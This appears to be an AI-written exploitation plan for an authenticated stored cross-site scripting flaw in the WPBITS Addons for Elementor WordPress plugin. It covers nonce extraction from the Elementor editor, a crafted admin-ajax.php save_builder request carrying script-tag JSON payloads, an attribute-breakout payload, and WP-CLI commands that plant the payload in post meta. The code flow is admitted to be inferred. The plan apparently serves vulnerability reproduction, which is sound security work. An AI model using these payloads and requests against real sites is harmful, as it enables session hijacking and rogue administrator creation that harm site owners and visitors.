WPBITS Addons For Elementor Page Builder <= 1.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

This research plan focuses on exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the WPBITS Addons For Elementor Page Builder plugin. Since the vulnerability is categorized as Authenticated (Contributor+), the attack leverages the legitimate access granted to contributors to modify post content via the Elementor editor.

---

1. Vulnerability Summary

• Vulnerability: Authenticated Stored Cross-Site Scripting (XSS).
• Vulnerable Component: Various Elementor widgets provided by the plugin (e.g., "Advanced Heading", "Info Box", or "Button").
• Root Cause: The plugin registers custom Elementor widgets but fails to use WordPress escaping functions (like esc_html(), esc_attr(), or wp_kses()) within the render() method of the widget classes.
• Impact: A contributor can inject a malicious <script> tag into a widget's settings. When an administrator or any other user views the page, the script executes in their browser context, potentially leading to session hijacking or the creation of unauthorized administrative accounts.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: elementor_ajax (Elementor's internal AJAX handler for saving page data).
• Vulnerable Parameter: The settings array within the _elementor_data post meta, specifically fields like "title", "subtitle", "link URL", or "custom HTML attributes".
• Authentication: Contributor-level credentials or higher.
• Preconditions:
  1. The plugin "WPBITS Addons For Elementor" must be active.
  2. The Elementor plugin must be active.
  3. The Contributor role must have permission to use Elementor (default behavior).

3. Code Flow (Inferred)

1. Entry Point: A contributor opens a post/page in the Elementor editor.
2. Input: The user adds a WPBITS widget and enters a payload (e.g., <img src=x onerror=alert(1)>) into a text field.
3. Storage: Elementor sends a JSON-encoded string of the page layout to the elementor_ajax action. This data is saved in the wp_postmeta table under the key _elementor_data.
4. Sink: When the page is rendered on the frontend, the WPBITS_Addons\Widgets\[Widget_Name]::render() method is called.
5. Execution: The code retrieves the saved settings: $settings = $this->get_settings_for_display(); and echoes the vulnerable field: echo $settings['title']; (missing escaping).

4. Nonce Acquisition Strategy

Elementor uses its own security nonces to protect its AJAX actions.

1. Requirement: To save data as a contributor, we need a valid wp_rest nonce or the Elementor-specific AJAX nonce.
2. Method:
   • Create a post and publish/save it as a draft: wp post create --post_type=post --post_status=draft --post_author=[CONTRIB_ID] --post_title='XSS Test'
   • Navigate to the Elementor editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor
   • Use browser_eval to extract the nonce from the Elementor configuration object:

     // Elementor stores its AJAX configuration here
     window.elementorCommon.config.ajax.nonce
     

   • Alternatively, check for the _nonce in the localized script elementor-editor-js-extra.

5. Exploitation Strategy

This plan uses the http_request tool to simulate the Elementor save process.

1. Identify Vulnerable Widget: Based on common Elementor addon patterns, target the "Heading" or "Info Box" widgets. (Search the plugin for render() functions that echo $settings).
2. Construct Payload:
   • Payload: <script>alert(document.domain)</script>
3. Prepare Elementor Data:
   Elementor stores data in a complex JSON structure. A simplified structure for a single widget looks like this:

   [
     {
       "id": "unique_id_1",
       "elType": "section",
       "elements": [
         {
           "id": "unique_id_2",
           "elType": "column",
           "elements": [
             {
               "id": "unique_id_3",
               "elType": "widget",
               "widgetType": "wpbits-advanced-heading", 
               "settings": {
                 "title": "<script>alert('XSS')</script>"
               }
             }
           ]
         }
       ]
     }
   ]
   

4. Send Save Request:
   • Method: POST
   • URL: https://[target]/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=elementor_ajax
     &_nonce=[EXTRACTED_NONCE]
     &actions={"save_builder":{"action":"save_builder","data":{"post_id":[POST_ID],"data":[JSON_PAYLOAD]}}}
     

6. Test Data Setup

1. Login: Log in as a Contributor user.
2. Target Post: Create a post that the contributor can edit.

   wp post create --post_type=post --post_status=publish --post_title="XSS Page" --post_author=contributor_user_id
   

3. Enable Elementor: Ensure Elementor is enabled for 'post' types in Elementor > Settings.

7. Expected Results

• The admin-ajax.php response should return a success: true status for the save_builder action.
• Upon navigating to the post URL on the frontend, a JavaScript alert box should appear, demonstrating execution in the viewer's browser.

8. Verification Steps

1. Database Check: Use WP-CLI to verify the payload is stored in the meta:

   wp post meta get [POST_ID] _elementor_data
   

2. Frontend Check: Use browser_navigate to the post URL and check the page source for the raw, unescaped payload.

9. Alternative Approaches

• Attribute Breakout: If the widget places the setting inside an HTML attribute (e.g., a link href), use a payload like: " onmouseover="alert(1)" style="display:block;width:1000px;height:1000px;".
• Direct Meta Update (If AJAX fails): If the elementor_ajax endpoint is difficult to spoof, use the wp post meta update CLI command to simulate a successful save, then verify if the frontend renders it without escaping. This confirms the "Stored" and "Output Escaping" part of the vulnerability.

  wp post meta update [POST_ID] _elementor_data '[{"id":"1","elType":"widget","widgetType":"wpbits-heading","settings":{"title":"<script>alert(1)</script>"}}]'